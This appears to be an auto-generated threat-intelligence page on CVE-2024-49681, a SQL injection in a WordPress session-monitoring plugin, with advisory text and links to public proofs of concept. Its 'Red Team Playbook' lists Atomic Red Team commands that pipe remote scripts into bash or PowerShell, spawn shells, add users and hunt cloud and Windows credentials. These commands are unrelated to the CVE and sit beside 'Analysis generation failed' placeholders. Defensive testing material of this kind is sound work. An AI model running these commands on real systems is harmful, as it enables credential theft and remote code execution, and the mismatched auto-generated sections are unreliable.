CVE-2024-49681
Overview
This vulnerability is a SQL Injection flaw caused by improper neutralization of special characters in SQL commands within the WP Sessions Time Monitoring Full Automatic plugin for WordPress. The root cause lies in insufficient input validation or sanitization of user-supplied data before incorporating it into SQL queries. The affected component is the activitytime plugin module handling session time monitoring data, specifically versions up to and including 1.0.9.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in activity-log.com WP Sessions Time Monitoring Full Automatic activitytime allows SQL Injection.This issue affects WP Sessions Time Monitoring Full Automatic: from n/a through <= 1.0.9.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL queries on the backend database. This can lead to unauthorized disclosure of sensitive data, such as user session information, and potentially allow partial modification of database contents. The lack of required authentication or user interaction increases the attack surface, enabling wide exploitation. In a business context, this could result in data breaches, unauthorized access to session records, and compromise of the integrity of session monitoring data, impacting overall system trustworthiness and user privacy.
Solution
Users of the WP Sessions Time Monitoring Full Automatic plugin should upgrade to a version later than 1.0.9 where this vulnerability is addressed. Detailed remediation guidance and patch availability are documented at Patchstack's advisory page: https://patchstack.com/database/Wordpress/Plugin/activitytime/vulnerability/wordpress-wp-sessions-time-monitoring-full-automatic-plugin-1-0-9-sql-injection-vulnerability?_s_id=cve. Applying the vendor-supplied patch or updating to the fixed plugin version is the recommended mitigation step to eliminate this SQL Injection flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in question arises from an improper neutralization of special elements used in SQL commands, commonly referred to as SQL Injection. This flaw is particularly prevalent in the WP Sessions Time Monitoring Full Automatic plugin, which is designed to track user activity on WordPress sites. The vulnerability allows an attacker to manipulate SQL queries by injecting malicious code through unsanitized input fields. This occurs when user inputs are not adequately validated or sanitized before being incorporated into SQL statements, leading to unauthorized access to the database and potential data breaches.
Attack vectors for this vulnerability are varied and can be executed through several means. An attacker might exploit the vulnerability by crafting a specially designed request to the web application that includes malicious SQL code. This could be done via input fields that are not properly secured, such as login forms, search fields, or any other user input areas. Once the attacker successfully injects the SQL commands, they can execute arbitrary SQL queries, which may allow them to read sensitive data, modify records, or even delete entire tables. In more sophisticated attacks, an adversary could escalate their privileges, gaining administrative access to the database and the underlying application.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the affected plugin for user activity monitoring. A successful SQL injection attack could lead to the exposure of sensitive user data, including personal identifiable information (PII), financial records, or proprietary business information. The consequences of such data breaches can be severe, resulting in reputational damage, loss of customer trust, and potential legal ramifications under data protection regulations. Furthermore, the financial implications of remediation efforts, including incident response, public relations campaigns, and potential fines, can be substantial, making this vulnerability a critical concern for organizations using the affected software.
To detect and mitigate the risks associated with this SQL injection vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious requests before they reach the application. Furthermore, developers should adhere to secure coding practices, such as using prepared statements and parameterized queries, to ensure that user inputs are properly sanitized. Keeping software up to date is also crucial, as updates often include patches for known vulnerabilities.
In conclusion, the improper handling of SQL commands in the WP Sessions Time Monitoring Full Automatic plugin presents a significant security risk that can lead to severe consequences for affected organizations. By understanding the technical details of the vulnerability, recognizing potential attack vectors, and implementing robust detection and mitigation strategies, businesses can better protect themselves against the threats posed by SQL injection attacks. Proactive measures, combined with a culture of security awareness, are essential in safeguarding sensitive data and maintaining the integrity of web applications in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has identified a significant development in the exploitation landscape of CVE-2024-49681. A public proof-of-concept exploit has emerged on GitHub, marking the first known instance of active exploitation tools available for this critical SQL injection vulnerability. This emergence has driven the CVSS score to be formally assigned at 9.3 and triggered a substantial increase in the Exploit Prediction Scoring System (EPSS) to 0.5133, placing it near the top percentile for predicted exploit likelihood. Our telemetry indicates a marked escalation in interest and potential weaponization, elevating the threat from theoretical to practical. For defenders, this shift underscores an urgent need to prioritize detection and response capabilities, as the availability of public exploit code lowers the barrier for attackers, including opportunistic threat actors and potentially more sophisticated adversaries. Consequently, the risk assessment for CVE-2024-49681 has intensified, reflecting a heightened probability of exploitation and increased potential impact on affected environments.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-49681
WP Sessions Time Monitoring Full Automatic <= 1.0.9 - Unauthenticated SQL Injection
|
RandomRobbieBF | 3 | 1 | 2024-11-09 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-49681 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/activitytime/vulnerability/wordpress-wp-sessions-time-monitoring-full-automatic-plugin-1-0-9-sql-injection-vulnerability?_s_id=cve |